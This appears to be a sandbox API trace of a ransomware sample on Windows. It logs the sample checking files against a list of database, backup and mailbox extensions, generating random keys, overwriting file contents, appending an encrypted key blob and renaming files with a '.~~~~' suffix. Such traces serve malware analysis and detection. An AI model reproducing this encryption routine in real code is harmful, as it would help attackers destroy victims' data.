	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".bdb") returned 0x0
	[0085.480] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.481] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.481] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.482] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20547171986) returned 1
	[0085.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cc50670, dwHighDateTime=0x1d60e1e)) 
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d0e0
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d0e0 | out: hHeap=0x300000) returned 1
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f34a0
	[0085.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0085.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.482] GetLastError () returned 0x0
	[0085.482] GetLastError () returned 0x0
	[0085.482] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.483] GetLastError () returned 0x0
	[0085.483] GetLastError () returned 0x0
	[0085.484] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffda8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.484] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x258, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x258, lpOverlapped=0x0) returned 1
	[0085.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.484] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.484] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.484] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.484] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.484] CloseHandle (hObject=0x124) returned 1
	[0085.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0085.484] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.~~~~")) returned 1
	[0085.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0085.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.485] GetLastError () returned 0x0
	[0085.485] RtlWakeConditionVariable () returned 0x365f70
	[0085.485] GetCurrentThreadId () returned 0x3a4
	[0085.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".scr") returned 0x0
	[0085.485] lstrlenW (lpString=".cmd") returned 4
	[0085.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".cmd") returned 0x0
	[0085.485] lstrlenW (lpString=".dll") returned 4
	[0085.485] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dll") returned 0x0
	[0085.485] lstrlenW (lpString=".bat") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".bat") returned 0x0
	[0085.486] lstrlenW (lpString=".cpl") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".cpl") returned 0x0
	[0085.486] lstrlenW (lpString=".sys") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".sys") returned 0x0
	[0085.486] lstrlenW (lpString=".msc") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".msc") returned 0x0
	[0085.486] lstrlenW (lpString=".com") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".com") returned 0x0
	[0085.486] lstrlenW (lpString=".lnk") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".lnk") returned 0x0
	[0085.486] lstrlenW (lpString=".msp") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".msp") returned 0x0
	[0085.486] lstrlenW (lpString=".pif") returned 4
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".pif") returned 0x0
	[0085.486] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.521] lstrlenW (lpString=".sqb") returned 4
	[0085.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".sqb") returned 0x0
	[0085.522] lstrlenW (lpString=".ost") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".ost") returned 0x0
	[0085.522] lstrlenW (lpString=".txt") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".txt") returned 0x0
	[0085.522] lstrlenW (lpString=".mdt") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".mdt") returned 0x0
	[0085.522] lstrlenW (lpString=".BDB") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".BDB") returned 0x0
	[0085.522] lstrlenW (lpString=".eql") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".eql") returned 0x0
	[0085.522] lstrlenW (lpString=".DBF") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DBF") returned 0x0
	[0085.522] lstrlenW (lpString=".EQL") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".EQL") returned 0x0
	[0085.522] lstrlenW (lpString=".FDB") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".FDB") returned 0x0
	[0085.522] lstrlenW (lpString=".EDB") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".EDB") returned 0x0
	[0085.522] lstrlenW (lpString=".DACPAC") returned 7
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DACPAC") returned 0x0
	[0085.522] lstrlenW (lpString=".VHD") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".VHD") returned 0x0
	[0085.522] lstrlenW (lpString=".DBV") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DBV") returned 0x0
	[0085.522] lstrlenW (lpString=".dacpac") returned 7
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dacpac") returned 0x0
	[0085.522] lstrlenW (lpString=".sdf") returned 4
	[0085.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".sdf") returned 0x0
	[0085.522] lstrlenW (lpString=".accdb") returned 6
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".accdb") returned 0x0
	[0085.523] lstrlenW (lpString=".DBX") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DBX") returned 0x0
	[0085.523] lstrlenW (lpString=".MDT") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".MDT") returned 0x0
	[0085.523] lstrlenW (lpString=".SQB") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".SQB") returned 0x0
	[0085.523] lstrlenW (lpString=".vhd") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".vhd") returned 0x0
	[0085.523] lstrlenW (lpString=".bac") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".bac") returned 0x0
	[0085.523] lstrlenW (lpString=".mdf") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".mdf") returned 0x0
	[0085.523] lstrlenW (lpString=".BAK") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".BAK") returned 0x0
	[0085.523] lstrlenW (lpString=".BAC") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".BAC") returned 0x0
	[0085.523] lstrlenW (lpString=".dbs") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dbs") returned 0x0
	[0085.523] lstrlenW (lpString=".vhdx") returned 5
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".vhdx") returned 0x0
	[0085.523] lstrlenW (lpString=".NDF") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".NDF") returned 0x0
	[0085.523] lstrlenW (lpString=".dat") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dat") returned 0x0
	[0085.523] lstrlenW (lpString=".DBS") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DBS") returned 0x0
	[0085.523] lstrlenW (lpString=".CKP") returned 4
	[0085.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".CKP") returned 0x0
	[0085.524] lstrlenW (lpString=".edb") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".edb") returned 0x0
	[0085.524] lstrlenW (lpString=".PST") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".PST") returned 0x0
	[0085.524] lstrlenW (lpString=".dbf") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dbf") returned 0x0
	[0085.524] lstrlenW (lpString=".SQL") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".SQL") returned 0x0
	[0085.524] lstrlenW (lpString=".pst") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".pst") returned 0x0
	[0085.524] lstrlenW (lpString=".dbv") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dbv") returned 0x0
	[0085.524] lstrlenW (lpString=".SDF") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".SDF") returned 0x0
	[0085.524] lstrlenW (lpString=".dtxs") returned 5
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dtxs") returned 0x0
	[0085.524] lstrlenW (lpString=".db3") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".db3") returned 0x0
	[0085.524] lstrlenW (lpString=".OST") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".OST") returned 0x0
	[0085.524] lstrlenW (lpString=".dbx") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dbx") returned 0x0
	[0085.524] lstrlenW (lpString=".DB3") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DB3") returned 0x0
	[0085.524] lstrlenW (lpString=".DAT") returned 4
	[0085.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DAT") returned 0x0
	[0085.524] lstrlenW (lpString=".VHDX") returned 5
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".VHDX") returned 0x0
	[0085.525] lstrlenW (lpString=".ndf") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".ndf") returned 0x0
	[0085.525] lstrlenW (lpString=".DB") returned 3
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DB") returned 0x0
	[0085.525] lstrlenW (lpString=".sql") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".sql") returned 0x0
	[0085.525] lstrlenW (lpString=".MYD") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".MYD") returned 0x0
	[0085.525] lstrlenW (lpString=".DBT") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DBT") returned 0x0
	[0085.525] lstrlenW (lpString=".ACCDB") returned 6
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".ACCDB") returned 0x0
	[0085.525] lstrlenW (lpString=".fdb") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".fdb") returned 0x0
	[0085.525] lstrlenW (lpString=".bak") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".bak") returned 0x0
	[0085.525] lstrlenW (lpString=".myd") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".myd") returned 0x0
	[0085.525] lstrlenW (lpString=".DTXS") returned 5
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".DTXS") returned 0x0
	[0085.525] lstrlenW (lpString=".ckp") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".ckp") returned 0x0
	[0085.525] lstrlenW (lpString=".dbt") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".dbt") returned 0x0
	[0085.525] lstrlenW (lpString=".db") returned 3
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".db") returned 0x0
	[0085.525] lstrlenW (lpString=".TXT") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".TXT") returned 0x0
	[0085.525] lstrlenW (lpString=".MDF") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".MDF") returned 0x0
	[0085.525] lstrlenW (lpString=".bdb") returned 4
	[0085.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".bdb") returned 0x0
	[0085.526] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.526] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.527] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.527] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.527] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20551696183) returned 1
	[0085.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cc9c930, dwHighDateTime=0x1d60e1e)) 
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd98
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd98 | out: hHeap=0x300000) returned 1
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ac140
	[0085.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0085.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.528] GetLastError () returned 0x0
	[0085.528] GetLastError () returned 0x0
	[0085.528] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.528] GetLastError () returned 0x0
	[0085.528] GetLastError () returned 0x0
	[0085.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.530] WriteFile (in: hFile=0x124, lpBuffer=0x2871ff0*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2871ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x24a, lpOverlapped=0x0) returned 1
	[0085.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2871ff0 | out: hHeap=0x300000) returned 1
	[0085.531] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.531] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
